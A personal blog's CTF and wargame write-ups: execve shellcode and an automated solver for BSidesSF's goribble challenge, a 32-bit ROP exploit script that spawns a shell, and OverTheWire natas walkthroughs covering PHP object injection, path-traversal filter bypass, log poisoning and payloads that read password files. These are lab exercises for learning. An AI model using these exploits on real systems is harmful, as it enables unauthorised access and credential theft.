Uncategorized

Last month was BSidesSF 2018. This was my first BSides and I’ll say I thought the con was really well done. The location was cool, the vendor area had plenty of free goodies, and the CTF was a lot of fun. There were quite a few people from Dark Corner which was awesome to see. A group of us spent a large portion of time at the conference playing the CTF and our team finished in 7th out of abobut 145 teams! This post is going to cover my solution for one of the 666 point challenges called goribble.c.

Our goal is to “exploit” this program to read the /home/ctf/flag.txt file on the ctf server. The code is meant to be compiled into a 32 bit ELF binary and even though NX is enabled the -fno-stack-protector flag is used to make the stack executable:

Upon execution it turns about to be a game where you manually enter a power and angle value and then a launch something (a potato?) and see where it lands.

The nibble you land on is a nibble of shellcode that will be stored and executed when you finally miss shot by not landing on any nibble. After every turn the layout of nibbles is randomly altered and a wind factor is applied which must be taken into consideration when firing the potato.

The first order of business was to construct a shellcode that would get the job done. I headed over to shell-storm.org knowing that they would have something for me. This one would get the job done, the only change required to change the argument to the cat command to /home/ctf/flag.txt instead of /etc/passwd.


#include <stdio.h>

const char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx

/* pushes /etc/passwd onto the stack
* we don't want/need this
*"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
*"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
*"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
*/

// pushes ///home/ctf/flag.txt onto the stack
"\x68\x2e\x74\x78\x74" // push ".txt"
"\x68\x66\x6c\x61\x67" // push "flag"
"\x68\x63\x74\x66\x2f" // push "ctf/"
"\x68\x6f\x6d\x65\x2f" // push "ome/"
"\x68\x2f\x2f\x2f\x68" // push "///h"

"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h

int main()
{
(*(void (*)()) shellcode)();

return 0;
}

I created /home/ctf/flag.txt on my local system and tested the shellcode which worked like a charm.

At first I very foolishly attempted to win by actually playing the game. I took shots repeatedly and figured out power/angle values that would get me on the nibble I wanted most of the time. At this time I was hoping the wind factor could be ignored. Once I finally had values mapped out for each value I set out to actually start building my shellcode but realized that although they got me where I wanted most of the time that wasn’t going to be good enough. This was going to have to be automated.

I was a little intimidated about having to interact with this program through screen scraping but this actually turned out to be incredibly easy thanks to a python module called pexpect. The first step in this process was to create a would scrape the nibble values into a list, this way we could know which position we needed to aim for. After I knew which position to hit it was necessary to calculate the power/angle values that would get the potato there. I decided to work smarter lazier and basically copy paste the code from the game that determines where the potato will land into a function in python. I added the code to scrape the game for the wind value, then with the wind taken into consideration I could brute force the necessary power and angle values by incrementing them until the potato landed in the right spot.

This approach worked and we were able to get the points for this challenge! Here I’ll share my full solution which is not cleaned up in any way, and even still contains the hard coded values from my initial futile attempt at solving the challenge.


import pexpect
import logging
import math
import time

logging.basicConfig(filename='fake-log.txt',level=logging.DEBUG)
logging.FileHandler('fake-log.txt', mode='w')
logging.debug('This message should go to the log file')

# power = ("100", "100", "150", "250", "230", "290", "320", "340", "340", "375", "375", "425", "395", "450", "500", "525")
# angle = ("10", "30", "20", "10", "13", "10", "10", "10", "11", "10", "12", "10", "12", "10", "8", "8")
shellcode = "31c09952682f636174682f62696e89e352682e74787468666c6167686374662f686f6d652f682f2f2f6889e1b00b52515389e1cd80"

def getNibbles(nibbles):
split = 8 # number of chars between each nibble
count = 0
nibblePositions = list()
for i in nibbles:
count += 1
#print "count: {}, nibble: {}".format(count, nibbles[count:count+1])
if count % split == 0:
nibblePositions.append(nibbles[count:count+1])
#print "nibble is: " + nibbles[count:count+1]
return nibblePositions

def rad(x):
#x = int(x)
return (x * 3.1415926 / 180)

def frange(start, end, step):
tmp = start
while(tmp < end):
yield tmp
tmp += step

def shoot(wind, power, angle):
 wind = float(wind)
 power = int(power)
 angle = int(angle)
 BOARD_WIDTH = 136
 BOARD_HEIGHT = 64
 PRIZE_COUNT = 16
 MAX_WIND = 200
 GRAVITY = (-9.8)
 SCALE = (5000 / 80)
 TIME_SCALE = (0.4) 
 PRIZE_COUNT = 16

 v0_v = math.sin(rad(angle)) * power
 v0_h = math.cos(rad(angle)) * power

 for t in frange(0, 10000, TIME_SCALE):
  #print t
  p_v = (((0.5 * t**2 * GRAVITY) + (t * v0_v)) / SCALE)
  p_h = (((0.5 * t**2 * (wind / 50)) + (t * v0_h)) / SCALE) + 4
  if p_v < 0:
   result = int((p_h / 8) - 1)
  if (result < 0 or result >= PRIZE_COUNT):
   return -1
 return result # the position that we hit

def getPowerAngle(wind, position):
 start = time.time()
 for power in range(100, 1000):
  for angle in range(10, 360):
   hit = shoot(wind, power, angle)
   if hit == position: # we found a winning combo
    end = time.time()
   print "calculated power/angle in {} seconds".format(end - start)
 return (power, angle)

#print "test is: " + child.after[2:-2]
"""U | 0 | 1 | b | 5 | 2 | 9 | f | 4 | a | 3 | d | 7 | 6 | e | c | 8 |"""
while True:
 code = "" #the code we're building

 logging.debug("(re)starting goribble")
 print "(re)starting goribble"
 child = pexpect.spawn ('./goribble')

 for i in shellcode:
  needed = i # the nibble that we need to grab
  wind = ""
  hit = "" # the nibble that we actually hit

  child.expect("Wind.*")
  wind = child.after
  logging.debug("unparsed wind is: " + wind)
  wind = float(wind[6:(wind.find('.') + 6)])
  logging.debug("wind is: " + str(wind))

  logging.debug("need nibble is: " + i)

  child.expect("YOU.*Y") # regex to get the nibbles
  logging.debug("nibbles is: " + child.after[5:-2])

  nibbles = child.after[1:-2] # the nibbles as printed out by the game
  nibbles = getNibbles(nibbles) # parsing the games nibbles into our own list
  position = nibbles.index(needed) # find the position in our list of the needed nibble
  logging.debug("needed position is: {}".format(position))

  # now that we know the wind, and needed position
  # we can proceed to bf the needed power/angle
  powerAngle = getPowerAngle(wind, position)
  power = powerAngle[0] + 2
  angle = powerAngle[1]

  child.expect("Power ")
  #child.sendline(str(int(power[position]) - (wind/10))) # send the power value that corresponds witht he nibble position
  child.sendline(str(power))
  logging.debug("power = {}".format( power))

  child.expect("Angle ")
  #child.sendline(angle[position])
  child.sendline(str(angle))
  logging.debug("angle = {}".format(angle))

  child.expect("Congratulations.*")
  #hit = child.after
  #logging.debug("After is: " + hit)
  hit = child.after[36:37] # find out the nibble we actually hit
  logging.debug("hit is: " + hit)

  if (hit != needed):
   child.close()
   break # means that our power/angle sux

  child.sendline()
  code += hit
  print "current shellcode is: {}".format(code)

# time 2 segfaulAt
"""
child.expect("Power ")
child.sendline()
child.expect("Angle ")
child.sendline()
"""
  child.interact()

Lately I’ve been trying to sharpen my binary exploitation skills and had the perfect opportunity to do so when a friend shared with me a binary from hou.sec.con 2015’s CTF.  This is a 32 bit elf binary which basically echoes back whatever is passed to argv[1] via printf() and then copies argv[1] to a fixed size buffer in an unsafe fashion:

disas main

Because there is no bounds checking, we can overwrite the return address of strcpy() on the stack by passing a long string.  To find out exactly how many bytes of junk are required before overwriting the return address we can use a pattern creation tool (http://projects.jason-rush.com/buffer-overflow-eip-offset-string-generator) and pass its output as argv[1] to our the vuln binary:

initial fuzzpattern tool

This tells us that 112 bytes of junk are required before we start overwriting the return address of strcpy() AKA controlling the EIP register.  Were it not for the ASLR and NX protections we’d be doing an 80s style put NOPs + shellcode on the stack and ret2nops.  However, ASLR ensures that we cannot predict where on the stack the NOPs would end up, and NX prevents us from executing shellcode on the stack anyway.  We can use ROP + a function pointer leak to bypass these protections, and demonstrating these techniques is the main goal of this post.

Our first step will be to leak the true address of the printf() via its GOT entry.  We can do this by returning to strcpy() again with the arguments being the address of .bss for the dest, and printf()’s GOT pointer as the source.  This will write the true address of printf() to .bss.  We could have used other segments of memory besides .bss, but it suits our needs because it is read/write, and is not randomized by ASLR.  We can use objdump to discover the address of .bss like so:

find bss

Next we need to find the GOT pointer for printf():

readelf printf

Finally, let’s get the PLT address of strcpy() so that we can actually call it:

plt strcpy

Awesome, now that we know all these memory addresses let’s start building the exploit slowly:

exploit call strcpy

Our exploit will be a simple python script which creates a specially crafted string to totally fux this program.  After initializing our variables to the values we just gathered above, we add the address of pltStrcpy to our payload using python’s struct.pack to put the address in little endian format.  Next we add 4 B’s, let’s talk about this in a minute.  After that we add the arguments to strcpy() which again are .bss as the dest, and GOT printf() as the source.  So let’s run this in gdb-peda, and see what happens:

first run debuggin

First things first, we run the program in the debugger like this “`python callEaxWrite.py`”.  The reason we need quotes around our backticks is because at least one of our memory addresses (.bss) contains an “a0” byte which is the ascii code for a newline, and will break our string without them.  We run “p printf” which is a gdb command that will print the true address of printf in the libc library.  Next we run “x/wx 0x804a024” which means “examine 4 bytes at the mem address 0x804a024”.  We see that the output of these commands match!  This is great, it means we have successfully written the true address of printf to bss.  Also, the program crashed with EIP == 0x42424242 which is the ascii code for “BBBB”.  What happened here?  When we called strcpy we also needed to have it’s return address and two arguments on the stack.  The return address we provided it was BBBB so when it finished executing that’s where EIP jumped to.  Its two arguments and “our next instruction” are sitting at the top of the stack.  If we return to a “pop pop ret” ROP gadget instead of BBBB, we can clear the arguments off the stack and return to the top of the stack where we will have more instructions.

We can use an awesome tool called ROPgadget to find a pop pop ret instruction within our binary whose location is not randomized or marked as no execute.  We’ll replace BBBB with the address of this gadget in our exploit:

pop pop ret

Now that we have the true address of printf stored at bss we can add the offset between printf and system() in libc to bss to be able to reference and finally call system() for pure pwnage.  Let’s get the offset:

find distance

So our distance between the two functions is 0xffff1770.  The next task is simple but not ez.  We have to find a gadget that will let us add 0xffff1770 to the true address of printf.  I won’t try to detail my adventure in locating the perfect gadget, as it involved much trial and error here’s the one I ended up using:

addEcx

This gadget is not the most convenient in the world, as it does a lot more than what we need, fortunately we can mitigate the garbage.  The instruction that is useful to us here is “add dword ptr [ecx], edi”.  This instruction will add the value stored in edi to the value pointed to by the pointer stored in ecx (the de-referenced value of ecx).  This is perfect for us, we’ll get “distance” (0xffff1770) into edi, and bss (0x0804a024) into ecx.  However, in order to control these registers we need more gadgetz.

We can use the same “pop edi ; pop ebp ; ret” gadget from earlier to pop the distance off the stack into edi.  As well, we’ll put a pointer-to-the-value-“1” + 0x21 on the stack following the distance so that it gets popped into ebp, reason being that eax will get divided by ebp – 0x21 as a consequence of the gadget we are using, and this will ensure that we don’t crash the program by dividing by 0 or some other problem value.  We can find the value “1” in program memory again with ROPgadget:

valOne

Let’s see what the exploit looks like at this point:

 

 

exploit 2

And after running it in the debugger:

debugginnn 2

So, the value of edi is 0xffff1770, ebp-0x21 is 0x08048045 which points to 0x20000001 (this was supposed to just be a 1, for whatever reason it ends up working anyway, maybe someone can enlighten me), now all that’s left is ecx.  Also, ecx is 0x14 bytes away from being what we need it to be which is 0x0804a024.  Fortunately there is another gadget that can help us get the job done:

incEcx

If we run that gadget 0x14 (20) times all our registers will be primed for that add gadget that we found earlier.  So let’s continue with the exploit and run it in gdb again:

debuggin 3

Bss now contains the true address of system()!!!  Also, the program crashed with eip == 0x35624134, let’s hit up our tool again and find out how many bytes of junk we actually need:

pattern tool 2

So we need 44 bytes of junk following the execution of this rop gadget.  This is because gadget adds 0x1c to esp, and then pops 4 registers which increases it by another 16 bytes; 0x1c + 16  = 44.  So the hard part is over.  The next thing to do is write the string “/bin/sh” somewhere (bss + 0x10 in this case) so that we can use it as our argument to system().  Let’s use ROPgadget to find the location of the characters that are needed:

binSh

To actually write the string we’ll have to call strcpy() once for each character, plus the terminating null byte, I was able to find a null at 0x0804a04a, and I’m sure there are many other throughout the binary.  Here’s what that process looks like programmatically, I made a simple function and for loop to save on tedium:

exploit 4

and the debugger shows that the string was successfully written…almost done!

debuggin 4

The last two things we need to do are overwrite printf’s GOT entry with the address of system, and then call printf with one argument, our pointer to “/bin/sh”:

exploit 5

So did it work???????

We got a shell!!!  ltrace shows all the library calls that the program makes.  You can download the vulnerable binary here.  If you decide to mess around on your own machine just make sure the libc md5 hash matches, otherwise you will have to re-calculate the offset between printf and system as shown above.

import struct

def writeByte(dest, src):
    payload  = struct.pack('<I', pltStrcpy) #call strcpy
    payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP
    payload += struct.pack('<I', dest)      #what addr to write to
    payload += struct.pack('<I', src)       #ptr to char we are writing
    return payload

payload   = ""            #initialize our payload
gotPrintf = 0x0804a00c #readelf -r codecheck
pltPrintf = 0x08048310 #we use plt addresses to actually make library calls
pltStrcpy = 0x08048320 #objdump -d codecheck | grep strcpy
bss          = 0x0804a024 #real base bss
distance  = 0xffff1770 #offset between printf and system in libc
valOne      = 0x08048045 #pointer to value of 1
binSh     = 0x0804a034 #bss + 0x10 #where we will write the string "/bin/sh" to, and later use as argument to system
binShArray= [0x08048154, 0x08048157, 0x08048156, 0x0804815e, 0x08048154, 0x08048162, 0x080480d8, 0x0804a04a] #"/bin/sh"
popPopRet = 0x080484ee # pop edi ; pop ebp ; ret
addEcx      = 0x080484e4 # add dword ptr [ecx], edi ; div dword ptr [ebp - 0x21] ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
incEcx      = 0x080485f0 # inc ecx ; ret

payload += "A"*112 #fill buffer up w/ junk

#write addr of printf to bss
payload += struct.pack('<I', pltStrcpy) #call strcpy
payload += struct.pack('<I', popPopRet)
payload += struct.pack('<I', bss)        #first arg to strcpy (dest)
payload += struct.pack('<I', gotPrintf)        #second arg to strcpy, get true source of printf

#get our ducks in a row 4 2 pwn
payload += struct.pack('<I', popPopRet) # pop edi ; pop ebp ; ret
payload += struct.pack('<I', distance) # need distance to be there for pop edi
payload += struct.pack('<I', valOne + 0x21) #get addr of valOne onto the stock for the pop ebp
payload += struct.pack('<I', incEcx)*20 #address of (bss - 20) will b in ecx
payload += struct.pack('<I', addEcx) #add edi (distance) to [ecx] which contains true addr of printf
#payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab" #added 50 bytes from the pattern tool to help us deal with the stacker fuckery caused by this gadget
payload += "A"*44 #tool told us 44 bytes, we did the math also and agree 

#write "/bin/sh" to bss + 0x10
for i in range(0, len(binShArray)):
    payload += writeByte(binSh + i, binShArray[i])

#overwrite gotPrintf w/ system 
payload += struct.pack('<I', pltStrcpy) #call strcpy
payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP
payload += struct.pack('<I', gotPrintf)        #dest, overwriting printf pointer
payload += struct.pack('<I', bss)        #should contain address of system

#call system, since we overwrote printf's got entry
payload += struct.pack('<I', pltPrintf) 
payload += "BBBB"
payload += struct.pack('<I', binSh)

print payload

 

All the sql code in this level is there to throw us off.  If you pull off a SQL injection on this level let me know, because AFAIK it is not possible.  The trick to beating this level is in the comments at the top of the page.

natas level 27 src

They’re telling us that the database is reset every 5 minutes.  I wonder what would happen if we repeatedly tried to log in with blank creds, with the goal of attempting the login at the same time it’s cleared.  We can use the following script to find out:

for (i = 0; i < 10000; i++) {
    query = "username=natas28&password=";
    xhr = new XMLHttpRequest();
    xhr.open("POST", "http://natas27.natas.labs.overthewire.org/index.php", false);
    xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xhr.send(query);
    console.log(i);
        if (xhr.response.indexOf("Here") != -1) {
        break;
    }
}
console.log(xhr.response);

natas 27 win

Today we’ll be exploiting the unserialize() function in PHP.  The major lesson here is to NEVER unserialize() user input, and I’ll show you why. PHP.net describes the serialize() function as follows:

“Generates a storable representation of a value.  This is useful for storing or passing PHP values around without losing their type and structure. To make the serialized string into a PHP value again, use unserialize().”  They further state that, “When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using unserialize() the __wakeup() [or __construct()] member function is called”.

According to OWASP:

“In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct [or __construct) that can be used to carry out malicious attacks, or to start a ‘POP chain’.
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.”

Well we’ve got a class called Logger that implements __construct() and __destruct(), and it’s what starts off the code, so it is ahead of the unserialize() function, see here:

natas level 26 src 1

Later we can see them unserialize() input via $_COOKIE[“drawing”]:

natas level 26 src 2

What we can do here is pass unserialize() a malicious Logger object that, for example, creates a “log file” call win.php and writes the following message in the “loge file:

<?php system(‘cat /etc/natas_webpass/natas27’);?>

To create the serialized version of the Logger object I edited the source code as follows:

natas level 26 evil 1

As you can see, the $logFile field is set to “img/win.php”, and $exitMsg is set to our malicious php code.  After the class definition I echoed out a serialized and then base64 encoded version of an instance of the Logger object.  It must be base64 encoded because it will later be base64 decoded before being unserialized.  The output looks like this:

natas level 26 evil 2

That is what we will set the “drawing” field of our cookie to.  When this is unserialized by the script, it will create an instance of Logger with the values we set above.  This is because, as previously stated, when unserialize() is used it calls the __construct() function of that object.  This should result in the creation of win.php in the img/ directory of their webserver, which will spit out our password.  Let’s see:

natas level 26 win 1

We see some bullshit about “cannot use type Logger as array”, but the important thing is, was win.php created?

natas level 26 win 2

w0000000000000000t!!!!!!!!!!!!111111111111

 

This one is one of the most involved levels so far, as there are multiple pieces to the puzzle.  Let’s jump right in:

natas level 25 source 1

First we can see they are making an awful lot of effort to prevent us from including arbitrary files via the $filename variable.  This is a big hint that we should probably try to perform local/remote file inclusion to beat the level 🙂   The function safeinclude() is using str_replace() to strip out any series of “../”, which could be used to move backwards towards the directory root and allow us to traverse directories freely.   How can we defeat this?

natas level 25 defeat 1

By setting filename to “….//….//” str_replace() can do its job of removing the “../”, but it still leave behind a “../../” LoLz.  Our next problem is that they are checking for the presence of “natas_webpass” in the filename, if it is detected execution is halted.   Were it not for this the game would already be over, as we could simply direct the function to include the password file.

Since we can’t include the password file, and including remote files seems to fail as well what can we do?  Further down in the code shows a file that we have partial control over:

natas level 25 source 2

logRequest() is saving the date, our user-agent, and $ message in /tmp/natas25_xxxx.log.  Let’s see what this file looks like:

natas level 25 inclusion demo 1

You can see that the log file has successfully been included and contains all the above information including the user-agent, which we can control.  If we set the user-agent to some php code of our choosing, and then include this file it should be executed, let’s try it:

natas level 25 win

w00t!

 

 

Natas level 24 source

To win this level it would appear that we need to get $_REQUEST[“passwd”] to match the value of “censored”.  Maybe there is another way though.  Let’s see what the comments on php.net have to say about the strcmp() function.

natas level 24 php.net comments

As it turns out !strcmp(“foo”, array()) returns “1” AKA “true”,

natas level 24 test

For the win we can make $_REQUEST[“passwd”] an array, to do this just replace the “=” in the request to “[]” like so:

natas level 24 win

natas level 23 source

So we need to get $_REQUEST[“passwd”] to be greater than 10, AND strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate to true.  Let’s examine the behavior of the PHP “>” operator:

natas level 23 > operator

According to php.net “If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically”.  So it looks like this condition will evaluate true when $passwd is a number or starts with a number that is greater than 10, even if letters follow that number.  Great!  So we need to get strstr($_REQUEST[“passwd”],”iloveyou”) to evaluate true and we’ll be set.  The php.net manual says strstr() “Returns the portion of string [starting at the match, to the end of the string], or FALSE if needle is not found”.  Here’s another example to chew on:

natas level 23 strstr

We should have all the information we need to win now:

natas level 23 win

 

 

 

This one was really easy:

natas level 21 source 1

Alls we have to do is set admin=1 for the win.  Let’s try:

natas level 21 first try

Well that didn’t work.  What’s up with this experimenter thing anyway?  I wonder what would happen if we used the PHPSESSID from that and made the same request?

natas level 21 win round 2

 

Oh…that’s what happens.

There is a lot of code in this one so lets focus in on the some of the more important parts:

natas level 20 win code snippet

Line 23 tells us we need to set $_SESSION[“admin”] == 1. for the win.  We don’t have direct control over the $_SESSION array, but the following code offers an entry point:

 natas level 20 entry point

The focus is on lines 59 – 63.  59 sets up a for loop that iterates once per newline (\n) present in $data.  This is made possible by the explode() function which “returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter“.  On line 61 they explode() each member of the array by a space (” “), and set the limit as 2 meaning that it will only split the string by the first space.  Here’s an example to look at:

natas level 20 explode example

For this example I replaced $data with “friends love\nhappiness joy tranquility prosperity” and you can see that the first array key of $_SESSION was set to “friends” with the value “love”.  The second array key was set to “happiness” with the value “joy tranquility prosperity”.  For our hack we need to create an array key called “admin” with its value set to “1”.  We can create the key like this:

Natas level 20 admin key creation

Then all we have to do it set “admin” == 1:

natas level 20